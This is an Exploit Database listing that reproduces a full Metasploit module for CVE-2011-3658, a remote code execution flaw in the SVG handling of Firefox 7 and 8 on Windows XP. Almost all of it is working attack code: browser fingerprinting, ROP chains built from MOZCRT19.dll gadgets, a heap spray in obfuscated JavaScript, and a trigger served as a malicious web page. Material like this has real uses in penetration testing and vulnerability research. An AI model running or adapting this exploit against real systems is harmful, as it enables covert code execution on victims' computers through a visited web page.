Mozilla Firefox 7 / 8 < 8.0.1 - nsSVGValue Out-of-Bounds Access (Metasploit)

• Exploit Database
• 19 阅读

• 作者： Metasploit
  日期： 2012-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18847/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability',
  			'Description'=> %q{
  				This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).
  				The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)
  				uses a loop which can result in an out-of-bounds access to attacker-controlled memory.
  				The mObserver ElementAt() function (which picks up pointers), does not validate
  				if a given index is out of bound. If a custom observer of nsSVGValue is created,
  				which removes elements from the original observer,
  				and memory layout is manipulated properly, the ElementAt() function might pick up
  				an attacker provided pointer, which can be leveraged to gain remote arbitrary
  				code execution.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'regenrecht',#vulnerability discovery
  					'Lincoln<lincoln[at]corelan.be>',#Metasploit module
  					'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2011-3658' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-056/' ],
  					[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00\x0a\x0d\x34",
  					'DisableNops'=> true,
  					'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic', {} ],
  					[
  						'Windows XP - Firefox 7',
  						{
  							'Ret'=> 0x0C0C0C0C,
  							'OffSet' => 0x606,
  							'Size' => 0x40000,
  							'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll]
  							'FF' => 7,
  							'OS' => 'XP'
  						}
  					],
  					[
  						'Windows XP - Firefox 8 (<= 8.0.1)',
  						{
  							'Ret'=> 0x0C0C0C0C,
  							'OffSet' => 0x606,
  							'Size' => 0x40000,
  							'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll]
  							'FF' => 8,
  							'OS' => 'XP'
  						}
  					]
  				],
  			'DisclosureDate' => 'Dec 6 2011',
  			'DefaultTarget'=> 0))
  
  	end
  
  	def autofilter
  		false
  	end
  
  	def check_dependencies
  		use_zlib
  	end
  
  	def junk(n=4)
  		return rand_text_alpha_upper(n).unpack("L")[0].to_i
  	end
  
  	def nop
  		return make_nops(4).unpack("L")[0].to_i
  	end
  
  	def get_rop_chain(ffversion,osversion)
  
  		# mona.py ROP chains
  
  		rop_chain = []
  
  		if ffversion == 7 and osversion == "XP"
  
  			rop_chain =
  			[
  				0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
  				0x7813aeed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
  				0x78194774, # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll]
  				0x78139801, # RETN (ROP NOP) [MOZCRT19.dll] -> edi
  				0x78195375, # & push esp #ret[MOZCRT19.dll] -> ebp
  				0x00000001, # 0x00000001-> ebx
  				0x7819966e, # POP EDX # RETN [MOZCRT19.dll]
  				0x00001000, # 0x00001000-> edx
  				0x7813557f, # POP ECX # RETN [MOZCRT19.dll]
  				0x00000040, # 0x00000040-> ecx
  				0x781a4da8, # POP EAX # RETN [MOZCRT19.dll]
  				nop,# nop
  				0x7813d647, # PUSHAD # RETN [MOZCRT19.dll]
  			].flatten.pack("V*")
  
  		elsif ffversion == 8 and osversion == "XP"
  
  			rop_chain =
  			[
  				0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
  				0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
  				0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll]
  				0x7814eef1, # POP EBP # RETN [MOZCRT19.dll]
  				0x781503c3, # & call esp [MOZCRT19.dll]
  				0x781391d0, # POP EBX # RETN [MOZCRT19.dll]
  				0x00000001, # 0x00000001-> ebx
  				0x781a147c, # POP EDX # RETN [MOZCRT19.dll]
  				0x00001000, # 0x00001000-> edx
  				0x7819728e, # POP ECX # RETN [MOZCRT19.dll]
  				0x00000040, # 0x00000040-> ecx
  				0x781945b5, # POP EDI # RETN [MOZCRT19.dll]
  				0x78152809, # RETN (ROP NOP) [MOZCRT19.dll]
  				0x7819ce58, # POP EAX # RETN [MOZCRT19.dll]
  				nop,# nop
  				0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll]
  			].flatten.pack("V*")
  
  		end
  
  		return rop_chain
  	end
  
  
  	def on_request_uri(cli, request)
  		# Re-generate the payload.
  		return if ((p = regenerate_payload(cli)) == nil)
  
  		# determine the target FF and OS version
  
  		ffversion = ""
  		osversion = ""
  
  		agent = request.headers['User-Agent']
  
  		if agent !~ /Firefox\/7\.0/ and agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/8\.0\.1/
  			vprint_error("This browser version is not supported: #{agent.to_s}")
  			send_not_found(cli)
  			return
  		end
  
  		my_target = target
  		if my_target.name == 'Automatic'
  			if agent =~ /NT 5\.1/ and agent =~ /Firefox\/7/
  				my_target = targets[1]
  			elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
  				my_target = targets[2]
  			elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
  				send_not_found(cli)
  				return
  			end
  			target = my_target
  		end
  
  		# Create the payload
  		print_status("Creating payload for #{target.name}")
  		table =
  		[
  			0x0c0c0c0c,# index
  			0x0c0c0c0c,# index
  			0x0c0c0c0c,# index
  			0x7c45abdf # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL]
  		].pack("V*")
  
  		rop = rand_text_alpha_upper(56)
  		rop << [ target['PopEax'] ].pack("V")
  		rop << rand_text_alpha_upper(40)
  		rop << get_rop_chain(target['FF'],target['OS'])
  
  		# Encode table, chain and payload
  		rop_js = Rex::Text.to_unescape(table+rop, Rex::Arch.endian(target.arch))
  
  		code = payload.encoded
  		code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
  
  		# random JavaScript variable names
  		i_name= rand_text_alpha(rand(10) + 5)
  		rop_name= rand_text_alpha(rand(10) + 5)
  		code_name = rand_text_alpha(rand(10) + 5)
  		offset_length_name= rand_text_alpha(rand(10) + 5)
  		randnum1_name = rand_text_alpha(rand(10) + 5)
  		randnum2_name = rand_text_alpha(rand(10) + 5)
  		randnum3_name = rand_text_alpha(rand(10) + 5)
  		randnum4_name = rand_text_alpha(rand(10) + 5)
  		paddingstr_name = rand_text_alpha(rand(10) + 5)
  		padding_name= rand_text_alpha(rand(10) + 5)
  		junk_offset_name= rand_text_alpha(rand(10) + 5)
  		single_sprayblock_name= rand_text_alpha(rand(10) + 5)
  		sprayblock_name = rand_text_alpha(rand(10) + 5)
  		varname_name= rand_text_alpha(rand(10) + 5)
  		thisvarname_name= rand_text_alpha(rand(10) + 5)
  		container_name= rand_text_alpha(rand(10) + 5)
  		tls_name= rand_text_alpha(rand(10) + 5)
  		tl_name = rand_text_alpha(rand(10) + 5)
  		rect_name = rand_text_alpha(rand(10) + 5)
  		big_name= rand_text_alpha(rand(10) + 5)
  		small_name= rand_text_alpha(rand(10) + 5)
  		listener_name = rand_text_alpha(rand(10) + 5)
  		run_name= rand_text_alpha(rand(10) + 5)
  		svg_name= rand_text_alpha(rand(10) + 5)
  		atl_name= rand_text_alpha(rand(10) + 5)
  		addr_name = rand_text_alpha(rand(10) + 5)
  		trans_name= rand_text_alpha(rand(10) + 5)
  		matrix_name = rand_text_alpha(rand(10) + 5)
  
  		# corelan precise heap spray for Firefox >= 7
  		# + trigger routine
  		spray = <<-JS
  
  		var #{rop_name} = unescape("#{rop_js}");
  		var #{code_name} = unescape("#{code_js}");
  		var #{offset_length_name} = #{target['OffSet']};
  
  		for (var #{i_name}=0; #{i_name} < 0x300; #{i_name}++)
  		{
  			var #{randnum1_name}=Math.floor(Math.random()*90)+10;
  			var #{randnum2_name}=Math.floor(Math.random()*90)+10;
  			var #{randnum3_name}=Math.floor(Math.random()*90)+10;
  			var #{randnum4_name}=Math.floor(Math.random()*90)+10;
  
  			var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
  			#{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();
  
  			var #{padding_name} = unescape(#{paddingstr_name});
  
  			while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};
  
  			#{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});
  
  			var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
  			#{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);
  
  			while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};
  
  			#{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);
  
  			#{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
  			#{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
  			#{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
  			eval(#{thisvarname_name});
  		}
  
  		var #{container_name} = [];
  
  		var #{tls_name} = [];
  		var #{rect_name} = null;
  		var #{big_name} = null;
  		var #{small_name} = null;
  
  		function #{listener_name}() {
  			#{rect_name}.removeEventListener("DOMAttrModified", #{listener_name}, false);
  			for each (#{tl_name} in #{tls_name})
  			#{tl_name}.clear();
  
  			for (#{i_name} = 0; #{i_name} < (1<<7); ++#{i_name})
  				#{container_name}.push(unescape(#{big_name}));
  			for (#{i_name} = 0; #{i_name} < (1<<22); ++#{i_name})
  				#{container_name}.push(unescape(#{small_name}));
  		}
  
  		function #{run_name}() {
  			var #{svg_name} = document.getElementById("#{svg_name}");
  			#{rect_name} = document.getElementById("#{rect_name}");
  
  			for (#{i_name} = 0; #{i_name} < (1<<13); ++#{i_name}) {
  				#{rect_name} = #{rect_name}.cloneNode(false);
  				var #{atl_name} = #{rect_name}.transform;
  				var #{tl_name} = #{atl_name}.baseVal;
  				#{tls_name}.push(#{tl_name});
  			}
  
  			const #{addr_name} = unescape("%u0c0c");
  			#{big_name} = #{addr_name};
  			while (#{big_name}.length != 0x1000)
  			#{big_name} += #{big_name};
  
  			#{small_name} = #{addr_name};
  			while (#{small_name}.length != 15)
  			#{small_name} += #{addr_name};
  
  			var #{trans_name} = #{svg_name}.createSVGTransform();
  			for each (#{tl_name} in #{tls_name})
  				#{tl_name}.appendItem(#{trans_name});
  
  			#{rect_name}.addEventListener("DOMAttrModified", #{listener_name}, false);
  			var #{matrix_name} = #{svg_name}.createSVGMatrix();
  			#{trans_name}.setMatrix(#{matrix_name});
  		}
  		JS
  
  		# build html
  		content = <<-HTML
  		<html>
  		<head>
  		<meta http-equiv="refresh" content="3">
  		<body>
  		<script language='javascript'>
  		#{spray}
  		</script>
  		</head>
  		<body onload="#{run_name}();">
  		<svg id="#{svg_name}">
  		<rect id="#{rect_name}"	/>
  		</svg>
  		</body>
  		</html>
  		HTML
  
  		print_status("Sending HTML")
  
  		# Transmit the response to the client
  		send_response(cli, content, {'Content-Type'=>'text/html'})
  
  	end
  
  end